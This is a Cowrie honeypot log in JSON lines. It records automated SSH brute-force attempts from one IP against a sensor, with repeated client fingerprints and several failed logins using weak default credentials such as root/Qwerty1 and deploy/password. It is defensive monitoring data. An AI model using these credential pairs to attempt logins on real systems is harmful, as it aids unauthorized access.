{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48046,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf0fcaf11e06","protocol":"ssh","message":"New connection: 192.109.200.237:48046 (159.203.135.109:22) [session: cf0fcaf11e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:28.235633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:28.240586Z","src_ip":"192.109.200.237","session":"cf0fcaf11e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:28.322269Z","src_ip":"192.109.200.237","session":"cf0fcaf11e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:28.567916Z","src_ip":"192.109.200.237","session":"cf0fcaf11e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47126,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db4ad5127b6","protocol":"telnet","message":"New connection: 152.42.224.71:47126 (10.17.0.5:23) [session: 0db4ad5127b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:28.963649Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:29.672692Z","src_ip":"192.109.200.237","session":"cf0fcaf11e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42656,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c484a799d4","protocol":"ssh","message":"New connection: 192.109.200.237:42656 (159.203.135.109:22) [session: d6c484a799d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:31.620895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:31.625542Z","src_ip":"192.109.200.237","session":"d6c484a799d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:31.707687Z","src_ip":"192.109.200.237","session":"d6c484a799d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:32.064280Z","src_ip":"192.109.200.237","session":"d6c484a799d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:33.154670Z","src_ip":"192.109.200.237","session":"d6c484a799d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42666,"dst_ip":"159.203.135.109","dst_port":22,"session":"031af7ccc929","protocol":"ssh","message":"New connection: 192.109.200.237:42666 (159.203.135.109:22) [session: 031af7ccc929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:35.143796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:35.148977Z","src_ip":"192.109.200.237","session":"031af7ccc929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:35.231583Z","src_ip":"192.109.200.237","session":"031af7ccc929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:35.479285Z","src_ip":"192.109.200.237","session":"031af7ccc929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:36.564748Z","src_ip":"192.109.200.237","session":"031af7ccc929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42672,"dst_ip":"159.203.135.109","dst_port":22,"session":"fef52d247fa3","protocol":"ssh","message":"New connection: 192.109.200.237:42672 (159.203.135.109:22) [session: fef52d247fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:38.517475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:38.522321Z","src_ip":"192.109.200.237","session":"fef52d247fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:38.608244Z","src_ip":"192.109.200.237","session":"fef52d247fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:38.855345Z","src_ip":"192.109.200.237","session":"fef52d247fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:39.941681Z","src_ip":"192.109.200.237","session":"fef52d247fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35820,"dst_ip":"159.203.135.109","dst_port":22,"session":"807b5d4a0bf6","protocol":"ssh","message":"New connection: 192.109.200.237:35820 (159.203.135.109:22) [session: 807b5d4a0bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:41.826504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:41.831034Z","src_ip":"192.109.200.237","session":"807b5d4a0bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:41.912894Z","src_ip":"192.109.200.237","session":"807b5d4a0bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:42.254636Z","src_ip":"192.109.200.237","session":"807b5d4a0bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:43.339961Z","src_ip":"192.109.200.237","session":"807b5d4a0bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35826,"dst_ip":"159.203.135.109","dst_port":22,"session":"87e43c9f21c0","protocol":"ssh","message":"New connection: 192.109.200.237:35826 (159.203.135.109:22) [session: 87e43c9f21c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:45.173705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:45.178764Z","src_ip":"192.109.200.237","session":"87e43c9f21c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:45.265046Z","src_ip":"192.109.200.237","session":"87e43c9f21c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:45.512578Z","src_ip":"192.109.200.237","session":"87e43c9f21c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:46.598716Z","src_ip":"192.109.200.237","session":"87e43c9f21c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35838,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a4555c41954","protocol":"ssh","message":"New connection: 192.109.200.237:35838 (159.203.135.109:22) [session: 4a4555c41954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:48.508044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:48.512779Z","src_ip":"192.109.200.237","session":"4a4555c41954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:48.595415Z","src_ip":"192.109.200.237","session":"4a4555c41954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:48.843595Z","src_ip":"192.109.200.237","session":"4a4555c41954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:49.929255Z","src_ip":"192.109.200.237","session":"4a4555c41954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48406,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9d514ac5c8e","protocol":"ssh","message":"New connection: 192.109.200.237:48406 (159.203.135.109:22) [session: e9d514ac5c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:51.832520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:51.837390Z","src_ip":"192.109.200.237","session":"e9d514ac5c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:51.925267Z","src_ip":"192.109.200.237","session":"e9d514ac5c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:52.379987Z","src_ip":"192.109.200.237","session":"e9d514ac5c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:53.464644Z","src_ip":"192.109.200.237","session":"e9d514ac5c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40460,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd3e2f5fdfe","protocol":"telnet","message":"New connection: 152.42.224.71:40460 (10.17.0.5:23) [session: 2dd3e2f5fdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:54.251776Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48408,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6e6b52a899","protocol":"ssh","message":"New connection: 192.109.200.237:48408 (159.203.135.109:22) [session: dc6e6b52a899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:55.493290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:55.498392Z","src_ip":"192.109.200.237","session":"dc6e6b52a899","protocol":"ssh"}
